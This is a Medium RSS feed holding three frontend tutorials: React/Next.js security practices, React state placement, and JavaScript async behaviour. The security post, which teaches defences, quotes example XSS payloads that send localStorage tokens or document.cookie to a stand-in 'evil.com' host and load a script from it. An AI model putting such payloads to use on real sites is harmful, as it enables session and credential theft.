<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anshul on Medium]]></title>
        <description><![CDATA[Stories by Anshul on Medium]]></description>
        <link>https://medium.com/@as6210445?source=rss-59a812ed14a2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*E69oKHZi5Du6LZpJPH9PQg.jpeg</url>
            <title>Stories by Anshul on Medium</title>
            <link>https://medium.com/@as6210445?source=rss-59a812ed14a2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 23:09:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@as6210445/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[5 Security Practices Senior Frontend Engineers Use in React/Next.js]]></title>
            <link>https://medium.com/@as6210445/5-security-practices-senior-frontend-engineers-use-in-react-next-js-b72aff328bcc?source=rss-59a812ed14a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b72aff328bcc</guid>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[nextjs]]></category>
            <dc:creator><![CDATA[Anshul]]></dc:creator>
            <pubDate>Sun, 07 Jun 2026 19:49:05 GMT</pubDate>
            <atom:updated>2026-06-07T19:49:05.211Z</atom:updated>
            <content:encoded><![CDATA[<h3>5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4dcJQ1heyfe7toNhvE_Gg.png" /></figure><p>When we start learning React or Next.js, we mostly focus on UI, APIs, state management, performance, and shipping features quickly.</p><p>Security often becomes an afterthought.</p><p>We usually think:</p><blockquote><em>“Backend handles security, frontend just renders UI.”</em></blockquote><p>But after working in real production applications and understanding how senior frontend engineers structure enterprise-level codebases, I realized frontend security plays a much bigger role than most developers think.</p><p>The scary part?</p><p>Many security vulnerabilities happen not because developers are careless, but because they simply don’t know <em>why</em> certain patterns exist in production repositories.</p><p>You might have seen strange things in a senior engineer’s codebase like:</p><ul><li>HttpOnly cookies</li><li>weird security headers in next.config.js</li><li>DOMPurify</li><li>NEXT_PUBLIC_ environment variables</li><li>Content-Security-Policy</li></ul><p>and wondered:</p><blockquote><em>“Why are they adding all this? The app works perfectly without it.”</em></blockquote><p>In this article, I’ll explain <strong>5 practical security practices that senior frontend engineers use in React/Next.js applications</strong>, in simple language with relatable examples and minimal code.</p><h3>1. Use HttpOnly Cookies Instead of localStorage for Authentication</h3><p>This is probably the <strong>most important frontend security decision</strong>.</p><p>Most beginners store authentication tokens like this:</p><pre>localStorage.setItem(&quot;token&quot;, token);</pre><p>And then send it manually:</p><pre>fetch(&quot;/profile&quot;, {<br>  headers: {<br>    Authorization: `Bearer ${token}`,<br>  },<br>});</pre><p>This works.</p><p>But there is a serious security problem.</p><h3>The Problem: XSS (Cross-Site Scripting)</h3><p>Imagine your application accidentally allows malicious JavaScript to run inside your website.</p><p>For example:</p><pre>&lt;div dangerouslySetInnerHTML={{ __html: comment }} /&gt;</pre><p>If an attacker injects malicious code:</p><pre>&lt;script&gt;<br>fetch(&quot;evil.com?token=&quot; + localStorage.getItem(&quot;token&quot;))<br>&lt;/script&gt;</pre><p>your authentication token gets stolen.</p><p>And here’s the dangerous part:</p><blockquote><em>Whoever has the token becomes the logged-in user.</em></blockquote><p>The attacker does not need the password anymore.</p><p>They can:</p><ul><li>access accounts</li><li>impersonate users</li><li>perform transactions</li><li>access admin functionality</li></ul><h3>The Industry Standard Solution</h3><p>Instead of storing tokens in localStorage, mature applications use <strong>HttpOnly Cookies</strong>.</p><p>Backend sets a cookie:</p><pre>Set-Cookie:<br>accessToken=abc123;<br>HttpOnly;<br>Secure;<br>SameSite=Strict</pre><p>Let’s understand what these mean:</p><h3>HttpOnly</h3><p>Prevents JavaScript from reading the cookie.</p><p>This fails:</p><pre>document.cookie</pre><p>Even malicious scripts cannot steal the token.</p><h3>Secure</h3><p>Cookie only works over HTTPS.</p><p>Prevents insecure transmission.</p><h3>SameSite=Strict</h3><p>Prevents other websites from abusing your logged-in session (CSRF attacks).</p><h3>Why Senior Engineers Prefer This</h3><p>Before:</p><pre>Frontend controls token</pre><p>After:</p><pre>Browser controls token</pre><p>Instead of manually attaching tokens:</p><pre>Authorization: Bearer token</pre><p>browser automatically sends secure cookies.</p><p>Frontend no longer handles sensitive authentication directly.</p><p>This dramatically reduces security risks.</p><h3>2. Add Content Security Policy (CSP) Headers</h3><p>This is one of the most underrated frontend security practices.</p><p>Most developers never understand why seniors add strange headers like this:</p><pre>Content-Security-Policy</pre><p>inside:</p><pre>next.config.js</pre><p>Let’s understand why.</p><h3>The Problem</h3><p>Suppose an attacker injects this:</p><pre>&lt;script src=&quot;https://evil.com/hack.js&quot;&gt;&lt;/script&gt;</pre><p>Normally browser says:</p><blockquote><em>“Looks like JavaScript, let me run it.”</em></blockquote><p>Now malicious code runs inside your application.</p><p>Even if you are using HttpOnly cookies, attackers can still cause damage.</p><p>For example:</p><h3>Fake Payment Requests</h3><pre>fetch(&quot;/send-money&quot;, {<br>  method: &quot;POST&quot;,<br>  body: JSON.stringify({<br>    amount: 50000,<br>    to: &quot;hacker&quot;,<br>  }),<br>});</pre><p>Browser automatically sends logged-in cookies.</p><p>Backend trusts request.</p><p>Money transferred.</p><h3>Fake Login UI</h3><p>Attacker injects a fake popup:</p><pre>&quot;Session expired. Enter password again.&quot;</pre><p>User enters password.</p><p>Attacker steals credentials.</p><h3>Forced Redirects</h3><p>Attacker redirects users to phishing websites.</p><h3>What CSP Does</h3><p>CSP tells browser:</p><blockquote><em>“Only run scripts from trusted sources.”</em></blockquote><p>Example:</p><pre>Content-Security-Policy:<br>script-src &#39;self&#39;</pre><p>&#39;self&#39; means:</p><blockquote><em>Only scripts from my own domain are allowed.</em></blockquote><p>If browser sees:</p><pre>&lt;script src=&quot;evil.com/hack.js&quot;&gt;&lt;/script&gt;</pre><p>it blocks execution.</p><p>Attack stopped.</p><h3>Example in Next.js</h3><pre>const nextConfig = {<br>  async headers() {<br>    return [<br>      {<br>        source: &quot;/(.*)&quot;,<br>        headers: [<br>          {<br>            key: &quot;Content-Security-Policy&quot;,<br>            value: &quot;script-src &#39;self&#39;;&quot;,<br>          },<br>        ],<br>      },<br>    ];<br>  },<br>};</pre><h3>Important Lesson</h3><p>HttpOnly cookies reduce <strong>damage</strong> of XSS.</p><p>CSP tries to <strong>prevent malicious scripts from running in the first place</strong>.</p><p>Effective frontend security relies on <strong>multiple layers of protection</strong>, not a single solution.</p><h3>3. DOM Sanitization (Because React Is Not Fully Safe)</h3><p>Many developers believe:</p><blockquote><em>“React automatically prevents XSS.”</em></blockquote><p>This is only partially true.</p><p>React is safe <strong>by default</strong>.</p><p>Example:</p><pre>&lt;p&gt;{content}&lt;/p&gt;</pre><p>If backend returns:</p><pre>&lt;script&gt;alert(&quot;hacked&quot;)&lt;/script&gt;</pre><p>React treats it as plain text.</p><p>Safe.</p><p>But things change when developers use:</p><pre>dangerouslySetInnerHTML</pre><p>Yes, React intentionally added the word:</p><pre>dangerously</pre><p>for a reason.</p><h3>Why Do Developers Use It?</h3><p>Because many real-world applications need HTML rendering.</p><p>Examples:</p><ul><li>blogs</li><li>CMS systems</li><li>markdown rendering</li><li>rich text editors</li><li>article pages</li></ul><p>Suppose backend sends:</p><pre>&lt;h1&gt;Frontend Security&lt;/h1&gt;<br>&lt;p&gt;Learn React Security&lt;/p&gt;</pre><p>Using:</p><pre>&lt;p&gt;{content}&lt;/p&gt;</pre><p>shows ugly raw HTML.</p><p>Instead:</p><pre>&lt;div dangerouslySetInnerHTML={{<br>  __html: content<br>}} /&gt;</pre><p>renders proper formatted UI.</p><p>Looks great.</p><p>But there is a risk.</p><h3>The Problem</h3><p>Attacker sends:</p><pre>&lt;img src=&quot;x&quot;<br>onerror=&quot;<br>fetch(<br>&#39;evil.com?data=&#39; + document.cookie<br>)&quot;<br>/&gt;</pre><p>Image intentionally fails.</p><p>onerror executes malicious JavaScript.</p><p>Attack happens.</p><h3>Industry Solution: DOM Sanitization</h3><p>Senior engineers clean HTML before rendering.</p><p>Most teams use:</p><pre>npm install dompurify</pre><p>Then:</p><pre>import DOMPurify from &quot;dompurify&quot;;</pre><pre>const safeHTML =<br>DOMPurify.sanitize(content);</pre><pre>return (<br>  &lt;div<br>    dangerouslySetInnerHTML={{<br>      __html: safeHTML,<br>    }}<br>  /&gt;<br>);</pre><h3>What DOMPurify Removes</h3><p>It strips dangerous things like:</p><ul><li>&lt;script&gt;</li><li>onerror</li><li>onclick</li><li>malicious links</li><li>injected iframes</li></ul><p>Only safe HTML remains.</p><h3>Senior Engineering Principle</h3><blockquote><em>Never trust user input.</em></blockquote><p>Even if it comes from backend.</p><p>Because backend data itself often comes from:</p><ul><li>users</li><li>admin panels</li><li>CMS systems</li><li>APIs</li><li>rich text editors</li></ul><h3>4. Security Headers That Quietly Protect Your Application</h3><p>Many production repos contain strange headers developers usually ignore.</p><p>Example:</p><pre>X-Frame-Options<br>Strict-Transport-Security<br>X-Content-Type-Options</pre><p>Let’s understand why they matter.</p><h3>4.1 X-Frame-Options (Prevents Clickjacking)</h3><p>Imagine attacker creates:</p><pre>evil.com</pre><p>and secretly embeds your website in an invisible iframe.</p><p>User clicks:</p><pre>Claim Prize</pre><p>But actually clicks:</p><pre>Transfer ₹50,000</pre><p>button underneath.</p><p>This attack is called:</p><blockquote><em>Clickjacking</em></blockquote><p>Fix:</p><pre>X-Frame-Options: DENY</pre><p>Browser blocks iframe loading.</p><p>Attack prevented.</p><h3>4.2 HSTS (Forces HTTPS)</h3><p>Without HTTPS, attackers on public WiFi may intercept traffic.</p><p>Examples:</p><ul><li>passwords</li><li>session info</li><li>OTP</li><li>private data</li></ul><p>Header:</p><pre>Strict-Transport-Security:<br>max-age=31536000</pre><p>tells browser:</p><blockquote><em>Never open HTTP version.</em></blockquote><p>Even if user types:</p><pre>http://example.com</pre><p>browser automatically upgrades:</p><pre>https://example.com</pre><p>Safer communication.</p><h3>4.3 X-Content-Type-Options (nosniff)</h3><p>Browsers sometimes try to be “too smart.”</p><p>Suppose backend says:</p><pre>Content-Type: image/jpeg</pre><p>But file secretly contains JavaScript.</p><p>Browser may try to guess file type.</p><p>This is called:</p><blockquote><em>MIME sniffing</em></blockquote><p>Fix:</p><pre>X-Content-Type-Options:<br>nosniff</pre><p>Meaning:</p><blockquote><em>Browser, stop guessing.</em></blockquote><p>Trust server response only.</p><h3>Example in Next.js</h3><pre>const nextConfig = {<br>  async headers() {<br>    return [<br>      {<br>        source: &quot;/(.*)&quot;,<br>        headers: [<br>          {<br>            key: &quot;X-Frame-Options&quot;,<br>            value: &quot;DENY&quot;,<br>          },<br>          {<br>            key:<br>              &quot;Strict-Transport-Security&quot;,<br>            value:<br>              &quot;max-age=31536000&quot;,<br>          },<br>          {<br>            key:<br>              &quot;X-Content-Type-Options&quot;,<br>            value: &quot;nosniff&quot;,<br>          },<br>        ],<br>      },<br>    ];<br>  },<br>};</pre><p>These are low effort, high impact improvements.</p><h3>5. Environment Variable Separation (Huge Next.js Mistake)</h3><p>Many developers think:</p><blockquote><em>“</em><em>.env file is not on GitHub, so my secrets are safe.”</em></blockquote><p>This is a dangerous misunderstanding.</p><h3>The Problem</h3><p>Suppose:</p><pre>SECRET_KEY=abc123</pre><p>Frontend code:</p><pre>console.log(<br> process.env.SECRET_KEY<br>);</pre><p>Developers think:</p><blockquote><em>Hidden.</em></blockquote><p>But during build, Next.js injects values.</p><p>Build output becomes:</p><pre>console.log(&quot;abc123&quot;);</pre><p>Anyone can inspect browser bundle.</p><p>Secret leaked.</p><h3>How Next.js Solves This</h3><p>Only variables starting with:</p><pre>NEXT_PUBLIC_</pre><p>are allowed in browser.</p><p>Example:</p><pre>NEXT_PUBLIC_API_URL=<br>https://api.com</pre><p>Safe:</p><pre>process.env<br>.NEXT_PUBLIC_API_URL</pre><p>Because API URLs are already public.</p><h3>Never Expose These</h3><p>Never send secrets to frontend:</p><pre>JWT_SECRET<br>DATABASE_URL<br>AWS_SECRET<br>STRIPE_SECRET_KEY<br>PRIVATE_KEYS</pre><p>These must stay server-side.</p><h3>Production Example</h3><p>Usually:</p><h3>GitHub</h3><p>No .env</p><p>because:</p><pre>.env</pre><p>ignored.</p><h3>Jenkins / Server</h3><p>Production environment variables are injected securely during build or deployment.</p><p>Only NEXT_PUBLIC_ variables go to frontend bundle.</p><p>Everything else stays on server.</p><h3>Golden Rule</h3><p>If browser can access it:</p><blockquote><em>It is public.</em></blockquote><p>Never assume frontend secrets are actually secret.</p><h3>Final Thoughts</h3><p>Frontend security is not about making applications “unhackable.”</p><p>It is about:</p><blockquote><em>reducing attack surface and making exploitation harder.</em></blockquote><p>If you are building React or Next.js applications, these 5 practices provide massive security improvements:</p><ol><li><strong>HttpOnly Cookies</strong> → safer authentication</li><li><strong>CSP Headers</strong> → block malicious scripts</li><li><strong>DOM Sanitization</strong> → safe HTML rendering</li><li><strong>Security Headers</strong> → browser-level protection</li><li><strong>Environment Separation</strong> → prevent secret leakage</li></ol><p>The interesting thing is:</p><p>Interestingly, many production codebases already contain these patterns. However, developers often use them without fully understanding <strong>why they exist, what problem they solve, and when they matter</strong>.</p><p>And once you understand the <em>why</em>, security stops feeling complicated.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b72aff328bcc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your React App Is Slow — Because You Put State in the Wrong Place]]></title>
            <link>https://medium.com/@as6210445/your-react-app-is-slow-because-you-put-state-in-the-wrong-place-316aa1ffce03?source=rss-59a812ed14a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/316aa1ffce03</guid>
            <category><![CDATA[frontend-developer]]></category>
            <category><![CDATA[increase-performace]]></category>
            <category><![CDATA[reactjs-tutorial]]></category>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[reactjs]]></category>
            <dc:creator><![CDATA[Anshul]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 18:44:18 GMT</pubDate>
            <atom:updated>2026-02-18T18:44:18.325Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9dB1VkBo30_3MC9k.png" /></figure><p>If you’ve ever clicked a button and noticed a <strong>small delay</strong> before a modal opened, this article is for you.</p><p>I faced this exact issue in a large React application. At first, I blamed:</p><ul><li>React itself</li><li>Prop drilling</li><li>Custom hooks</li><li>Performance optimizations</li></ul><p>But the real issue turned out to be much simpler.</p><p><strong>State placement.<br></strong>The Common Misunderstanding About Re-renders</p><p>Many developers believe:</p><blockquote><em>“Props changing cause re-renders.”</em></blockquote><p>That’s not fully true.</p><p>What actually happens is this:</p><ul><li>A <strong>state change re-renders the component where the state lives</strong></li><li>When a <strong>parent re-renders, all its children re-render</strong></li><li>A re-render is <strong>not</strong> the same as a remount</li><li>React usually <strong>reuses existing DOM nodes</strong></li></ul><p>Understanding this mental model changes how you write React.</p><p><strong>A Real Example: The Slow Modal Problem</strong></p><pre>function App() {<br>  const [isOpen, setIsOpen] = useState(false);<br><br>  return (<br>    &lt;&gt;<br>      &lt;VeryHeavyComponent /&gt;<br>      &lt;button onClick={() =&gt; setIsOpen(true)}&gt;Open&lt;/button&gt;<br>      {isOpen &amp;&amp; &lt;Modal /&gt;}<br>    &lt;/&gt;<br>  );<br>}</pre><h3>What happens when the button is clicked?</h3><ol><li>setIsOpen(true) is called</li><li>App re-renders</li><li>VeryHeavyComponent re-renders</li><li>The modal opens slightly late</li></ol><p>React isn’t slow here.<br> <strong>The state boundary is wrong.</strong></p><h3>Re-render vs Remount (Important Distinction)</h3><p>A <strong>re-render</strong> means:</p><ul><li>React re-runs the component function</li><li>JSX is recalculated</li><li>Only changed DOM nodes are updated</li><li>State is preserved</li></ul><p>A <strong>remount</strong> means:</p><ul><li>Component is destroyed</li><li>State is lost</li><li>Hooks clean up and run again</li><li>DOM nodes are recreated</li></ul><p>In the example above, the problem is not remounting — it’s <strong>unnecessary re-rendering</strong>.</p><h3>The Mental Shift That Fixed This for Me</h3><p>Before writing this:</p><pre>const [state, setState] = useState(...)</pre><p>Ask one question:</p><blockquote><strong><em>Who truly needs this state?</em></strong></blockquote><p>If the answer is:</p><ul><li>“Only this button and modal”</li></ul><p>Then the state <strong>does not belong in the parent component</strong>.</p><h3>The Correct Pattern: Move State Down</h3><p>Here’s the improved version:</p><pre>function ModalController() {<br>  const [isOpen, setIsOpen] = useState(false);<br><br>  return (<br>    &lt;&gt;<br>      &lt;button onClick={() =&gt; setIsOpen(true)}&gt;Open&lt;/button&gt;<br>      {isOpen &amp;&amp; &lt;Modal /&gt;}<br>    &lt;/&gt;<br>  );<br>}</pre><p>Now:</p><ul><li>Only ModalController re-renders</li><li>Heavy components remain untouched</li><li>The modal opens instantly</li></ul><p>This small change can have a big performance impact in real apps.</p><h3>Custom Hooks Don’t Prevent Re-renders</h3><p>Custom hooks are excellent for <strong>logic reuse</strong>, but they do <strong>not</strong> prevent re-renders.</p><pre>const { isOpen } = useModalDialog();</pre><p>The state still belongs to the component using the hook.</p><p>So the re-render rules remain the same.<br>One Rule to Remember Forever</p><blockquote><strong><em>State defines the re-render boundary.<br> Choose the boundary before writing the state.</em></strong></blockquote><p>If you apply this consistently, React performance issues become much easier to reason about.</p><p><strong>Final Takeaway</strong></p><p>If you remember nothing else, remember this:</p><blockquote><strong><em>Put state as close as possible to where it’s used.</em></strong></blockquote><p>This single habit:</p><ul><li>Reduces unnecessary re-renders</li><li>Improves perceived performance</li><li>Leads to cleaner component architecture</li></ul><h3>Thanks for reading</h3><p>If this article helped you, feel free to share it or connect with me on LinkedIn.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=316aa1ffce03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ JavaScript Is Synchronous… So Who Runs Asynchronous Tasks?]]></title>
            <link>https://medium.com/@as6210445/javascript-is-synchronous-so-who-runs-asynchronous-tasks-abd59df7d097?source=rss-59a812ed14a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/abd59df7d097</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[front-end-developer]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[reactjs]]></category>
            <dc:creator><![CDATA[Anshul]]></dc:creator>
            <pubDate>Thu, 08 Jan 2026 15:04:25 GMT</pubDate>
            <atom:updated>2026-01-08T15:04:25.001Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Y8ihwo4cltDGmBz-kJoVwQ.jpeg" /></figure><p>Have you ever paused while learning JavaScript and thought:</p><ul><li><em>“JavaScript is single-threaded, so how does it do async work?”</em></li><li><em>“If JS moves to the next line immediately, who loads scripts or fetches data?”</em></li><li><em>“Where does the async task actually run if the call stack only handles synchronous code?”</em></li><li><em>“Is Promise doing the async work behind the scenes?”</em></li></ul><p>I was stuck at exactly this point while learning <strong>Promises and async behavior</strong>, and this confusion is very common.</p><p>Let’s break it down — <strong>simply and clearly</strong>.</p><h3>The Key Realization</h3><blockquote><strong><em>JavaScript itself is synchronous.<br> Asynchronous work is handled by the environment (say, the browser), not by JavaScript.</em></strong></blockquote><p>This single line cleared most of my confusion.</p><h3>🧩 What Actually Happens Behind the Scenes?</h3><p>When we write code like this:</p><pre>function loadScript(src) {<br> let script = document.createElement(&quot;script&quot;);<br> script.src = src;<br> document.head.append(script);<br>}<br>loadScript(&quot;app.js&quot;);<br>console.log(&quot;Next line executed&quot;);<br></pre><p>At first glance, it feels like JavaScript is loading the script asynchronously.<br> But that’s <strong>not what’s really happening</strong>.</p><h3>🔍 Step-by-Step Execution</h3><h3>1️⃣ JavaScript work (synchronous)</h3><p>JavaScript does only these things:</p><ul><li>Creates a &lt;script&gt; element</li><li>Sets its src</li><li>Appends it to the document</li><li>Moves on to the next line</li></ul><pre>document.head.append(script); // synchronous</pre><h3>2️⃣ Browser takes over (asynchronous)</h3><p>The moment the &lt;script&gt; tag is added to the DOM:</p><ul><li>The <strong>browser detects it</strong></li><li>The <strong>browser starts downloading the script</strong></li><li>Download happens <strong>in parallel</strong></li><li>JavaScript execution continues</li></ul><p>📌 <strong>JavaScript is not downloading the script.<br> The browser is.</strong></p><h3>⚙️ Why Promises Exist</h3><p>Promises <strong>do not make code asynchronous</strong>.</p><p>They simply give JavaScript a <strong>clean way to handle the result</strong> of async work done by the browser.</p><p>Example:</p><pre>function loadScript(src) {<br>  return new Promise((resolve, reject) =&gt; {<br>    const script = document.createElement(&quot;script&quot;);<br>    script.src = src;<br><br>    script.onload = () =&gt; resolve(&quot;Script loaded&quot;);<br>    script.onerror = () =&gt; reject(&quot;Failed&quot;);<br><br>    document.head.append(script);<br>  });<br>}<br><br>loadScript(&quot;app.js&quot;).then(console.log);</pre><h3>🎯 The Mental Model That Helped Me Most</h3><p>Think of it like this:</p><blockquote><strong><em>JavaScript is the manager.<br> The browser is the worker.</em></strong></blockquote><p>JavaScript says:</p><blockquote><em>“Hey browser, load this script and tell me when you’re done.”</em></blockquote><p>Browser does the heavy work and notifies JS later.</p><h3>✅ Final Takeaway</h3><ul><li>JavaScript is <strong>single-threaded &amp; synchronous</strong></li><li>Browsers provide <strong>Web APIs</strong> for async tasks</li><li>Async work runs <strong>outside the JS call stack</strong></li><li>The <strong>event loop</strong> brings results back to JavaScript</li><li>Promises just help us <strong>handle those results cleanly</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abd59df7d097" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>